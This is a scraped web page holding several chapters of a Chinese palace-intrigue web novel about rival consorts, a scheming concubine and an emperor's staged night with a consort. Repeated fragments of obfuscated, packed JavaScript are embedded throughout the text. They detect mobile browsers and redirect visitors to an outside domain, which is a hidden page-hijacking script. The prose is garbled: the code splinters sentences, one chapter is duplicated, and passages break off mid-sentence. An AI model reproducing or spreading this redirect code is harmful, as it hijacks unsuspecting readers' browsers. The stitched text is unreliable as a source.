另一边的宣明宫里。 赵时意真把自己当主人了,夜半三更不睡觉,乌漆嘛黑的坐在凉亭里,望着椒房殿灯火通明。 不高兴的时候,就用绣花针戳李含萱。 很疼,可李含萱不敢喊。 “明晚,本宫不管你用什么办法,哪怕是搭上你这条贱命,也要把陛下引来宣明宫。” 她指了指桌子上放的一个小锦盒,“届时,找机会让陛下吃下美人香。” “上次闹那么大,本宫也只是被禁足而已,想必你也长记性了。 若办不妥,本宫有的是法子叫你好受。” 李含萱攥着拳头,垂着眼眸,她哪里来的那通天本领? 第143章返乡 赵时意看到李含萱含泪点头,这才起身离开。 “娘娘。”浅璧见人出了宣明宫的殿门,这才敢来李含萱身边。 她亦是大赦那次,李家送进宫里来的。 不过她身份尊贵些,是李含萱的庶妹。 别看是庶出,她母家尊贵着呢,她母亲可是郡主。 当初对她父亲一见钟情,哪怕下嫁为妾,也心甘情愿。 因着身份尊贵,一进家门,就代替了主母执掌中馈。 这次送她入宫,也是她母亲的主意,放在旁人身上,妾室自是不能唤作母亲的,但谁让她亲娘是郡主呢。 “宁妃也太嚣张了吧?明知先皇就是死于这脏东西,这是整个后宫的禁忌,竟还拿到咱们宫里来了。” “你也真是的,她说什么就是什么,上次就因为你的怯懦,害**家里陪嫁来的丫鬟。 这一次,你又要为虎作伥、助纣为虐了吗?你别害的整个李家都要跟着你陪葬。” 浅璧一看她这个逆来顺受的样子就着急。 都进宫了,不宫斗难道整天吃斋念佛吗? 赵时意有什么好怕的? 有其他宫女忙上前来,扶着李含萱进了屋子,拿着温水浸泡过的帕子,给她擦着被针扎过的地方。 “宁妃脾气不好,你们别去招惹,我是这宫里位份最低的,万一出了什么事儿,我想救你们都不能。”李含萱趴在枕头上,温声细语的说着。 宣明宫的太监宫女,都是皇后安排来的,没有管事嬷嬷,浅璧又不愿意操心,一切便都由大宫女芍药负责。 芍药顺理成章,也就成了李含萱最亲近的人。 “知道自己位份低还不努力,你多往椒房殿跑跑,说不定哪天就得了陛下青睐呢。”浅璧坐在椅子上,一副颐指气使的模样。 李含萱没跟她计较,宫女们也没搭理她。 她一个人说的无趣了,起身离开了。 芍药将主殿的房门关上,只卧房点着两盏蜡烛。 “浅璧太目中无人了,怎么能对您这样?怎么说您现在也是陛下的妃子,轮不到她来置喙。” “宁妃走了,她倒是耍起了威风,宁妃在的时候,她躲的远远的,连个人影都看不见。”芍药给李含萱打抱不平道。 “她在家里被宠坏了,但也仅此而已,脑子还在,懂得趋避厉害。”李含萱斜靠在枕头上,缓缓出声。 她手里拿着赵时意留下的药盒。 “芍药,有时候,人最大的优点,也会成为致命的缺点。”李含萱一张娃娃脸上,看不出任何的情绪。 “娘娘,奴婢不是很明白。”芍药开口道。 李含萱忽地拉住了她的手,一双温柔又宠溺的眸子看着她,道:“名正言顺,是每个人毕生都在争取的东西,没有人会例外。” 这话说的太深奥了,芍药压根听不懂,她茫然的点了点头,又诚然的摇了摇头。 李含萱笑道:“芍药,你说陛下为了这四个字,能容忍到什么地步?” 芍药面露难色,“奴婢实在摸不准陛下的性子,虽说奴婢是在椒房殿伺候的。 但娘娘您也知晓,陛下登基也就大半年的时间,奴婢都没跟陛下说过一句话。” 在椒房殿辛辛苦苦干了几个月的体力活,整天提心吊胆把脑袋别在裤腰带上过日子。 以为皇后醒了,看在他们没有功劳也有苦劳的份上,也会待他们好些。 可谁知道,皇后醒来后第一件事儿就是把他们打发了,倒是给了赏赐,可一点儿赏赐根本不足以抚慰他们受伤的心。 来了宣明宫,贤嫔娘娘待她极好。 贤嫔娘娘一点儿贵人的架子都没有,把她当知心姐妹,什么话都告诉她。 深宫里的人,得了赏银也没地儿花。 地位低下,穿衣和首饰都有讲究,太好的用不了。 久而久之,这些宫女们所求的,就变成了精神层面的理解和共鸣,李含萱恰好做到了这一点。 “芍药,你不要急着解释,我不是要你替我做什么,我不会让你为我冒险的。 会有人自寻死路的,没有人可以挡我们的路,我们要在这后宫里,为自己谋一个安稳的后半生。” 李含萱声音太温柔了,三言两语便让芍药安心了下来。 有的人,天生就容易让人信服。 …… 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588171|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >翌日,一道圣旨送到了东栾宫。 接了旨的楚舒茗,却是满脸愁容。 “娘娘,马上要回家了,您不应该开心吗?”贴身宫女流萤边收拾着东西,边问着。 楚舒茗躺在美人榻上,不答反问:“等我们到楚州的时候,楚州应该天儿冷了吧?该穿秋衣了。” 流萤笑呵呵道:“娘娘,圣旨不是说了吗?让我们快马加鞭的回去,算算日子,到家的时候也不过才八月中旬,哪儿会冷那么早?” “是啊,刚好是冷之前到家。”楚舒茗闭上眼睛又睁开。 陛下这时候选的太好了,天冷了,北戎会来抢东西。 他们不派兵去驻守边疆,却让她回去探亲,哪里是探亲?分明就是把请楚天明的重任交到了她手上。 连太子和定国侯都请不动,她有什么办法? 他们把楚家军祸害没了,还拿什么镇守边疆? 以前楚家军在的时候,公主都不让楚天明管,现在楚家军没了,公主还能答应吗? 楚舒茗一抬眸,就看见了兴高采烈的流萤。 这傻孩子,离家没几天,一听能回家,可高兴了。 原本,楚舒茗也应该是这样一个提起故乡就满脸笑容的少女的。 可她的故乡,无人庇佑,她想以一己之力,让光明照进故乡的大地上。 大半年了,她还是一事无成。 “流萤,家里就那么好吗?一听到回家,你恨不得马上出发。”楚舒茗问着。 流萤太高兴了,听不出她声音里的悲戚。 流萤一双染着兴奋的亮晶晶眸子,看向楚舒茗,疯狂在点头。 “娘娘,奴婢想家很久了,家里肯定好呀,有像水墨画一样连绵不断的山,有**无云的湛蓝天空。 天热的时候,只要往树荫底下一钻,立马就能感受到凉意;天冷的时候,有爹烧好的热炕头,一家人围坐在炕桌上,奴婢跟着娘学针线,阿弟跟着阿兄学写字。 虫鸣鸟叫窸窸窣窣叽叽喳喳个不停,多好呀?” “娘娘,您能不能跟陛下说说,这次我们回家多待些日子,奴婢想待到天冷了,跟娘一起睡睡热炕呢。” 第145章盖章 “这不合规矩。”安乐解释着,“日后后宫还需要皇贵妃帮忙打理,况且她跟你都是西南来的,日后也可以帮衬到你。” 沈安安自顾自的研墨,将笔递给了她,“皇后娘娘,我跟她不和,仰仗我有你一位就够了,旁人都没有资格,陛下也没有。” 她着急,墨汁弄的满手都是。 安乐握住笔,手心里也全都是墨汁。 实在拿沈安安没办法,只好写。 不过不是简单的写一封信,而是认认真真写了一封懿旨。 她为了缓和沈安安和皇贵妃的关系、也为了表明自己不会剥夺皇贵妃管理后宫的权力,让沈安安拿着懿旨去找皇贵妃盖章。 沈安安临走时还嫌弃麻烦。 但她也不想皇后难做,毕竟皇后对她是真的好。 沈安安只身一人就去了倾兰宫。 大宫女青禾看见她就来气,但鉴于上次差点死在了她手里,这次不敢再作势动手了。 “我家娘娘身子不舒服,不见外人。”青禾领着几个太监拦在殿门口。 “我就找皇贵妃盖个章,她躺床上不动也能盖了,赶紧的让开。”沈安安也是好声好气的讲道理。 “宫里没什么大事闹到我们娘娘跟前儿来,贵妃还是弄清楚了再来吧。”气归气,吃过亏的青禾还是带着些礼貌的同她说道。 沈安安脸色一沉,不跟他们多废话,直接越墙进了院子。 “皇贵妃娘娘,臣妾有要事找你帮忙。”她喊着的同时,已经推开了主殿的房门。 屋子里放着几盆冰,窗户关着,热气跑不进来,很是凉爽。 独孤若兰穿着单薄,躺在美人榻上,旁边两个宫女扇着扇子。 薄纱衣衫被她掀到了膝盖以上,层层堆叠如瀑布般垂下,墨发用好几根簪子挽的高高的,连枕头都是消暑的清凉材质。 论起享受,还是她会。 “皇贵妃,别睡了。”沈安安忽地走近,弯腰在她耳边大声道。 独孤若兰被吓了一跳,睁开眼睛顾不上怒目去瞪沈安安,只一只手捂着起伏的胸口。 “你疯了?”缓过来的独孤若兰斥着。 她还以为是陛下来了,吓的她心肝都在颤,要是陛下看见她这轻浮的模样,指不定就会厌恶她了。 但发觉是沈安安后,她又姿态随意了。 太热了,她还伸手扯了扯领口。 独孤若兰看着沈安安捧在手里的懿旨,脸色一沉,眼皮抬了抬,“哼。” “凤印呢?”沈安安问道。 “你要干什么?”独孤若兰又靠回了美人榻上。 沈安安站起身,把懿旨摊开,伸到她面前去,好让她看个清楚。 “这不合规矩,没有陛下旨意,本宫可不敢私放宫女出宫,既然皇后娘娘给你写了懿旨,那你让皇后娘娘把人送出宫去。”独孤若兰道。 又是个拿着鸡毛当令箭的。 沈安安耐心解释,“没有盖凤印的懿旨,出宫了身份也还是宫女,皇贵妃娘娘,你就动动手指的事儿。” 皇宫里认皇后的手写懿旨,不代表全天下都认。 地方官员,多数无知,只认盖了章的戳,多半是不会认谁谁谁的手写信的,他们连皇后都没亲眼见过,更别提皇后的字了,真的也会被认为是假的。 “哼,你知道呀?本宫还以为你不知道呢?既你知道这事儿得本宫做主,怎么还去找皇后娘娘了?”独孤若兰话里话外,都是嫌沈安安越俎代庖了。 加上两人早有恩怨,她是绝对不会顺了沈安安心意的。 沈安安站直了身子,“你就直接跟我说,盖不盖章?” 独孤若兰眼眸一冷,“放肆,你怎么敢跟本宫这样说话的?别忘了,你是来求本宫的。” “我俩说不明白,咱们去找陛下说吧,这会儿就去勤德殿。”沈安安说着,将人从美人榻上拽了起来。 她力气多大呀?再来十个人都拦不住。 独孤若兰衣衫不整,拉扯间簪子掉在了地上,凌乱的发随风飘扬。 此情此景,说她是冷宫跑出来的疯子,都不会有人怀疑。 “松手,你快给本宫松手。” “盖,本宫给你盖印。” 独孤若兰满脸的惊慌失措,大声喊着。 沈安安听真切了,这才松了手,看着对方气喘吁吁。 独孤若兰倒是个说到做到的,从她手中夺过了懿旨,转身回到卧房。 凤印就被她压在枕头底下,款款的用双手拿出来,盖好了印后,又将凤印小心翼翼的放了回去。 她看着沈安安撒丫子跑远的身影,长舒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不就男女那点事儿吗?搞得谁不知道似的。 秦嬷嬷将他推入出荣华宫。 “荣贵妃,跟朕进来。”夜不群大步迈进了主殿,叫着沈安安。 “啊?”沈安安双臂抱胸,“哦哦哦,来了来了。” 第145章盖章 “这不合规矩。”安乐解释着,“日后后宫还需要皇贵妃帮忙打理,况且她跟你都是西南来的,日后也可以帮衬到你。” 沈安安自顾自的研墨,将笔递给了她,“皇后娘娘,我跟她不和,仰仗我有你一位就够了,旁人都没有资格,陛下也没有。” 她着急,墨汁弄的满手都是。 安乐握住笔,手心里也全都是墨汁。 实在拿沈安安没办法,只好写。 不过不是简单的写一封信,而是认认真真写了一封懿旨。 她为了缓和沈安安和皇贵妃的关系、也为了表明自己不会剥夺皇贵妃管理后宫的权力,让沈安安拿着懿旨去找皇贵妃盖章。 沈安安临走时还嫌弃麻烦。 但她也不想皇后难做,毕竟皇后对她是真的好。 沈安安只身一人就去了倾兰宫。 大宫女青禾看见她就来气,但鉴于上次差点死在了她手里,这次不敢再作势动手了。 “我家娘娘身子不舒服,不见外人。”青禾领着几个太监拦在殿门口。 “我就找皇贵妃盖个章,她躺床上不动也能盖了,赶紧的让开。”沈安安也是好声好气的讲道理。 “宫里没什么大事闹到我们娘娘跟前儿来,贵妃还是弄清楚了再来吧。”气归气,吃过亏的青禾还是带着些礼貌的同她说道。 沈安安脸色一沉,不跟他们多废话,直接越墙进了院子。 “皇贵妃娘娘,臣妾有要事找你帮忙。”她喊着的同时,已经推开了主殿的房门。 屋子里放着几盆冰,窗户关着,热气跑不进来,很是凉爽。 独孤若兰穿着单薄,躺在美人榻上,旁边两个宫女扇着扇子。 薄纱衣衫被她掀到了膝盖以上,层层堆叠如瀑布般垂下,墨发用好几根簪子挽的高高的,连枕头都是消暑的清凉材质。 论起享受,还是她会。 “皇贵妃,别睡了。”沈安安忽地走近,弯腰在她耳边大声道。 独孤若兰被吓了一跳,睁开眼睛顾不上怒目去瞪沈安安,只一只手捂着起伏的胸口。 “你疯了?”缓过来的独孤若兰斥着。 她还以为是陛下来了,吓的她心肝都在颤,要是陛下看见她这轻浮的模样,指不定就会厌恶她了。 但发觉是沈安安后,她又姿态随意了。 太热了,她还伸手扯了扯领口。 独孤若兰看着沈安安捧在手里的懿旨,脸色一沉,眼皮抬了抬,“哼。” “凤印呢?”沈安安问道。 “你要干什么?”独孤若兰又靠回了美人榻上。 沈安安站起身,把懿旨摊开,伸到她面前去,好让她看个清楚。 “这不合规矩,没有陛下旨意,本宫可不敢私放宫女出宫,既然皇后娘娘给你写了懿旨,那你让皇后娘娘把人送出宫去。”独孤若兰道。 又是个拿着鸡毛当令箭的。 沈安安耐心解释,“没有盖凤印的懿旨,出宫了身份也还是宫女,皇贵妃娘娘,你就动动手指的事儿。” 皇宫里认皇后的手写懿旨,不代表全天下都认。 地方官员,多数无知,只认盖了章的戳,多半是不会认谁谁谁的手写信的,他们连皇后都没亲眼见过,更别提皇后的字了,真的也会被认为是假的。 “哼,你知道呀?本宫还以为你不知道呢?既你知道这事儿得本宫做主,怎么还去找皇后娘娘了?”独孤若兰话里话外,都是嫌沈安安越俎代庖了。 加上两人早有恩怨,她是绝对不会顺了沈安安心意的。 沈安安站直了身子,“你就直接跟我说,盖不盖章?” 独孤若兰眼眸一冷,“放肆,你怎么敢跟本宫这样说话的?别忘了,你是来求本宫的。” “我俩说不明白,咱们去找陛下说吧,这会儿就去勤德殿。”沈安安说着,将人从美人榻上拽了起来。 她力气多大呀?再来十个人都拦不住。 独孤若兰衣衫不整,拉扯间簪子掉在了地上,凌乱的发随风飘扬。 此情此景,说她是冷宫跑出来的疯子,都不会有人怀疑。 “松手,你快给本宫松手。” “盖,本宫给你盖印。” 独孤若兰满脸的惊慌失措,大声喊着。 沈安安听真切了,这才松了手,看着对方气喘吁吁。 独孤若兰倒是个说到做到的,从她手中夺过了懿旨,转身回到卧房。 凤印就被她压在枕头底下,款款的用双手拿出来,盖好了印后,又将凤印小心翼翼的放了回去。 她看着沈安安撒丫子跑远的身影,长舒一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第146章大家都想多了 “把蜡烛点上。”夜不群清冷的声音,在空荡荡的屋子里响着。 沈安安应着:“嗯。” 她吹亮火折子,将外间的烛台都点亮。 至于卧房,夜不群没打算进去,她也没打算去点蜡烛。 “过来研墨。”夜不群道。 沈安安才刚把火折子放下,正打算去卧房的美人榻上躺着呢。 “陛下你都没带奏折来,研墨干什么?”沈安安问着。 她严重怀疑,他就是见不得自己歇。 夜不群没出声,只一双寒冰眸子,朝着她投来一个死亡凝视。 沈安安闭了嘴,端了砚台来放在桌子上,用力研墨,好像砚台是她仇人似的。 宽大的袖子,被她撩上去,直接挂在了肩膀上。 一双纤细却有力的白皙双臂,在夜不群面前晃荡着。 用力的时候,胳膊上的肌肉会鼓起来,但又没大到影响美观,不似金刚芭比那般。 沈安安不拘小节,抬起一只脚蹬在凳子上,满脸都写着不情愿。 夜不群兀自起身,找了几张纸,在上面涂涂画画。 写的像葡萄和多边形太阳一样的东西,沈安安看了也不懂,只觉得他是闲得慌。 “陛下,你要是实在没事儿干,你就去臣妾的床上躺躺吧,亦德画的太阳都比你画的圆。 看看你画的太阳,长这么多脚就算了,脚上还又长东西。” 夜不群怒目瞪着了她一眼,怒道:“你懂什么?这是化学。” 沈安安一双眸子看着他,道:“臣妾知道啊,学画嘛,但你又学的不像,就像定国侯不会打仗还非要打一个道理。” “太阳是这样画的。” 她说着,手指头沾了墨汁,在纸上画着一个圆。 由于她也没有绘画天赋,这个太阳画的半边圆半边不规则的扁。 夜不群把毛笔往桌子上一丢,抬手指着他,抿着嘴半天都没说出一个字来。 沈安安嘟着嘴,坐在凳子上,眸子染着疲累,邀请他,“陛下,去里面床榻上躺着吧,臣妾的床榻香香软软的,可舒服了。” 夜不群剑眉紧蹙,一双眼睛杀意尽显。 连屋子里的气温,都随着他陡然腾升的怒气而骤减。 他就这么定定的盯着沈安安看了许久才开口,声音冷的如同冰霜,就像冬日的寒风似的,听着叫人直打寒颤。 “沈安安你放肆,你竟敢公然魅惑勾引朕,朕看你是不想要这条贱命了。” 沈安安:“……” 真的有病,她哪里勾引了?是舞骚弄姿了还是投怀送抱了? **莫不是得了癔症? 心里骂着,但她还是跪了下来,敷衍又机械的认错:“陛下,臣妾错了,求陛下开恩。” “呵。”夜不群冷哼一声,“朕就知晓,你绝不会安分守己,皇后待你如亲妹妹。 你若真感激她,就不该妄想爬上朕的龙床,你当朕是什么人?” 沈安安眉头一蹙,跪的直挺挺的,抬头看他,“陛下,这话该臣妾问你才对。 臣妾只是不想伺候你了,让你进屋去睡大觉,是你自己想些不干净的,想着臣妾要跟你颠鸾倒凤。” “陛下你放心,臣妾避之不及,臣妾看见你都想绕着走,正是因为感念皇后娘娘恩情,臣妾这才乖乖在荣华宫候着呢。” 一番话,说的那叫一个发自肺腑。 她眼神里的嫌弃藏都藏不住,这话根本不用怀疑真假。 夜不群上下打量了她一番。 原是他想多了。 他还以为沈安安催他去卧房,是真的想圆房呢? 但帝王的威严,是不容挑衅的。 他松了一口气的同时,又厉声呵斥:“还敢说你没妄想?” 沈安安不耐烦道:“臣妾是真没。” “放肆,后宫嫔妃,有哪个……”夜不群的声音戛然而止。 后宫嫔妃,有哪个是不想得到圣宠的?有哪个是不想被他庇佑的? 沈安安的做所作为,不光是在挑衅他的帝王威严,更是在挑衅他做男人的尊严。 那满目的嫌弃,他可是看的清清楚楚的。 “有哪个怎么样?”沈安安问着。 “你、混账东西。”夜不群骂着。 沈安安撇撇嘴,嘟囔着:“后宫嫔妃,有哪个不惦记肖想你的,是不是想说这个啊? 真以为自己是香饽饽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“混账东西,不能说朕不行。”夜不群闭着眼,轻声骂。 沈安安:“是是是,陛下最厉害了。” 她手上力道忽然加重。 “嗯~~”夜不群一声压抑克制的闷哼,清晰的传到了院子里静静聆听的二人耳中。 秦嬷嬷一拍大腿,笑的露出大白牙,“成了。” 莲花不禁“嘿嘿”一声笑了出来。 “秦嬷嬷,我们去给陛下和娘娘准备点小食吧,等下他们忙完,肯定会饿。” 莲花说着就要起身往厨房走,被秦嬷嬷给拉住了。 “莲花你傻呀?现在在小厨房弄出动静,岂不是扰了陛下兴致?” “这男女之事,那是食髓知味会上瘾的事儿,皇后娘娘昏了这许多年,陛下一直没开荤。 再说咱们娘娘,那花骨朵儿般的娇人儿,今夜才**,他们哪儿顾得上用膳? 瞧这动静,陛下明早都不会上朝了,你呀就吩咐下去,让大家都离主殿远些,别打扰了陛下和娘娘。” 莲花跟在秦嬷嬷身后,提着灯笼往下人房走去。 荣华宫扩建了,太监宫女们住的地方离主殿有些距离。 莲花道:“可是嬷嬷,万一陛下半夜需要伺候的时候没人怎么办?” 秦嬷嬷摇了摇头,拉着她走的更快了,“有娘娘伺候就够了,陛下今夜是不会下床的,你怎么这么笨呢。” 主殿的卧房里,沈安安实在热。 京城靠近南方,盛夏时节热起来晚上连一缕凉风都没有。 薄纱的衣服浸了汗,贴在肌肤上,别提多难受了。 沈安安半跪在床榻上,正在给夜不群捏肩膀。 他也没好到哪里去,全身上下裹的严严实实,脸上豆大的汗滴不停往下掉。 他之所以心甘情愿这么憋屈,就是为了给荣华宫的下人们营造一种他让沈安安侍寝了的错觉。 如此整个后宫传开了,消息传到安乐耳朵里时,她才会信。 安乐毕竟是西南王府的郡主,从小在礼教森严里长大,她不在乎他有三宫六院,也不在乎他是不是为她守身如玉。 可夜不群不一样,刻在他骨血里的就是一生一世一双人。 今日下了朝,他照旧去椒房殿,安乐却将他拦在门外,并且表明,若是不让沈安安侍寝,那她就再也不与他相见了。 无奈,夜不群只好移驾荣华宫。 沈安安仰天一声“啊!”然后歪着身子往床榻上一倒,顺势滚下了床。 “臣妾真的伺候不动了,臣妾热的都快变成蒸猪了,陛下你别糟踏人了。”沈安安横七竖八的往地上一躺。 她伸手扯着领口,不知从哪儿摸到的一柄玉如意,抵在胸口上解热。 似是真的起到了作用,她还要再往里捅一捅。 夜不群也热的烦躁,身子一扭,刚转过头,就看见她毫不避讳的动作。 “沈安安。”他大呵一声。 她仍然躺着,两条腿分的开开的,由于双手在尽全力扒拉着衣领子,整个人的形状像极了一个“入”字。 “又怎么了?”她眼皮都懒得抬一下,好不容易才刚有点儿凉意。 “你成何体统?”夜不群也是没想到,有朝一日,这四个字会从他嘴里说出来。 沈安安不以为然,开口道:“这有什么?陛下不乐意看,闭上眼睛不看便是了。 臣妾又不是把自己扒光了在你眼前显摆,臣妾之前领兵打仗的时候,衣服经常被砍破烂。 臣妾也没觉得这样就丢人现眼,要寻死觅活啊,陛下,你对我无情,我对你无意。 咱俩哪怕袒胸露背面对面喝酒,那撑**也只是男人间的兄弟情,怕个鸡毛啊。” 夜不群脸色青一块紫一块。 他虽和安乐成婚已久,可安乐身子骨一直都很弱,至今,他们也未曾圆房。 说到底,他是个血气方刚的年轻小伙子,沈安安又实在美丽。 热气氤氲的屋子里,让人头脑发昏。 沈安安太过不拘小节了,她伸手扯开了自己的腰带,瞬间渗进衣裳里的凉意,让她舒服的转动着身子。 就好似一只猫儿妖娆的在地上翻滚。 “陛下,热的话你就把外衣脱了吧,你放心,臣妾绝对没有非分之想。” “你可千万别热死在臣妾这里,不然臣妾没办法跟皇后娘娘交代。” 想到皇后,沈安安忽地睁开眼睛,一个激灵起身,盘腿坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15595130|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地上,睁着一双水汪汪的无辜大眼睛,问道。 “陛下,咱俩现在这样都是因为皇后娘娘,她不会明儿叫你脱光了检查你的身子吧?” 夜不群这下彻底无感了。 如她所说,她就算袒胸露背在他面前舞骚弄姿,他都不会有任何感觉。 他狠狠的瞪了一眼沈安安,觉得她脑子真的不好使。 沈安安却神采奕奕的说着:“我阿爹每次从姨娘房中出来,都会被阿娘拖回去扒光了检查。 但凡他身上有姨娘留下来的痕迹,他都会被狠狠的揍一顿,陛下,要不要臣妾给你弄点儿痕迹?你也好蒙混过关呀。” 夜不群把腿放下床沿,踩在脚凳上,“你不是从小不在你爹娘身边吗?怎么知晓的这些?” 沈安安眼睛眨了眨,盯着他回道:“上次陛下你不是准许了他来看我吗?就是那次他跟我说的。” 夜不群用袖子,轻轻擦拭着额头上大滴大滴的汗,“他一个做父亲的,跟你说这些?” 沈安安大手一挥,“害,他这不是希望我得宠嘛,毕竟我要是得宠了,大晟子民不就有好日子过了?” 沈安安说完低下了头,也不知道**会不会信? 不管了,反正她也想不到更好的由头了。 夜不群半晌没说话,沈安安就坐在地上一动不动。 “来吧。”突然间,他像是下定了某种决心,脱口而出两个字。 声音很轻,听上去就像是无可奈何后的妥协,满满的**感。 “什么?”沈安安问他。 “照你说的做。”夜不群端端正正的坐在床榻上,汗水将他脖子都浸湿了。 “臣妾刚才说什么了吗?”沈安安仰头看着他问。 夜不群眉心一蹙,刹那间,眸子含上了冰冷,“你是不是想死?” 沈安安立马站起来,“臣妾想起来了,臣妾刚才说要给陛下身上留痕迹。 陛下龙体贵重,万一臣妾把陛下弄疼了怎么办?” “那就辛苦陛下忍忍,要实在忍不住,叫出来也无妨,臣妾不会笑话陛下的。” “呵,简直滑天下之大稽……”夜不群觉得她狗嘴里吐不出**来,她未免也太小瞧他了。 第149章送定国侯** 夜不群从未吃过这么好吃的烤牛肉,叫沈安安烤个不停。 没新鲜肉了,他就让御膳房送过来,过分的是还要吃烤羊头。 沈安安干脆双眼一闭,往后一倒,直接原地睡觉。 如秦嬷嬷所说,夜不群果然没去上早朝。 吃饱喝足的他天蒙蒙亮时回屋睡觉了,为防止沈安安突然跑进来,他还把房门给闩上,叫崔福就在门口守着。 可怜了崔福,上了年纪一晚上没睡,还要当看门狗。 天彻底大亮后,秦嬷嬷和莲花才来到主殿,就见沈安安躺在太师椅上,两条腿搭在扶手上架的高高的,呼呼大睡。 满地都是狼藉。 秦嬷嬷唉声叹气,一边收拾一边问莲花,“娘娘这是服侍完陛下被赶出来的?” 莲花摇了摇头,“嬷嬷,有没有一种可能,是娘娘伺候到一半饿了不愿意伺候了?” 两人面面相觑,其实她们心里想着的是:沈安安可能压根就没侍寝,从开始就被她给搞砸了。 哪儿有妃子侍寝结束被赶到外面来的? “唉。”秦嬷嬷再次叹息,恨铁不成钢的看了一眼沈安安。 “唉吆喂。”崔福的声音传来,两人循着声音看去,这才发现坐在门口的崔福。 “崔公公。”莲花忙跑过去,将崔福扶了起来。 崔福单手扶着硬邦邦的腰,“下次该荣贵妃侍寝的时候,你们早早的把人往勤德殿送。” “在你们这荣华宫,她太无拘无束了,折腾了陛下,害的咱家也没法儿睡。 这话又说回来,昨个儿夜里你们跑去哪里躲着了?秦嬷嬷你也是宫里的老人,你怎么还带头躲清闲去了?” “是是是,奴婢知错了。”秦嬷嬷连声应着。 莲花搀扶他在椅子上坐下来,笑嘻嘻的问着:“公公,您的意思是,昨晚我家娘娘真侍寝了?” “那不然呢?”崔福揉着自己的腰,“动静大的咱家在外面都听得清清楚楚。” “这荣贵妃,比先帝的那位妖妃都厉害,可把陛下折腾的不轻,你们是没看到,陛下那脖子上,还哪儿有一处好地方?” 秦嬷嬷和莲花听了这话,一颗悬着的心才放进了肚子里。 午膳时候,夜不群才醒来。 想到昨晚的事儿,他起身坐到沈安安的妆台前,对着铜镜看着自己。 那原本白皙修长的脖子上,现在全都是或红或紫的痕迹。 他一个大男人,倒是不好意思了起来,觉得这个样子没法见人。 打定了主意要赖在荣华宫,他隔窗叫着:“崔福。” “奴才在。”崔福忙跑到窗户底下,恭恭敬敬的应着。 “去把奏折都送来荣华宫,若是有求见的大臣,一并带来荣华宫,叫他们在院子里隔窗禀报就行。”夜不群声音里透着烦躁,命令着。 “是,奴才遵命。”崔福回应的声音,都小心翼翼了许多。 临走时,他又问着:“陛下,那午膳也是让御膳房送来荣华宫吗?” “不吃。”夜不群幽冷的声音,吐出两个字。 “是,奴才告退。”崔福亦是满目的疑惑,这怎么陛下睡了一觉起来还有脾气了? 他给莲花使了个眼神,让她快把沈安安叫醒,这方脚步匆匆的出了荣华宫。 未正时分,一道道奏折送进了荣华宫主殿。 接踵而来的是李含萱和赵小高。 赵小高像进出勤德殿那样要进到主殿去,被崔福拦了下来。 “侯爷,陛下吩咐了,没有传召不得入内。” “连我也不行?”赵小高浓眉紧蹙,不可置信道。 崔福弯了弯腰,小声回着:“侯爷,陛下就是这样吩咐的。” 赵小高扭头,瞪向树荫底下太师椅上坐着的沈安安,这个狐媚惑主的**,还真让她给得逞了。 “贤嫔,你进来。”片刻的安静过后,传来夜不群的声音。 “是。”站在赵小高身侧的李含萱闻言,出声应着。 她朝着赵小高微微福身行礼后,款步走了进去。 崔福又伸手,将主殿的房门关上了。 赵小高刚要往里瞥,门“咯吱”一声关的严丝合缝。 他瞪了一眼崔福,觉得这老太监也太不识趣了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600510|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 原先放在院子里的那张金丝楠木的书桌,代替了妆台,摆在窗户前。 夜不群端坐在椅子上,手中拿着奏折在看。 有好多道翻开的奏折,就摆在桌子边沿,李含萱一眼就能看清上面的内容。 “臣妾参见陛下。”李含萱垂下眼睑,福身行礼。 奏折不是她随便能看的,但陛下摆放的如此明显,显然就是专程给她看的。 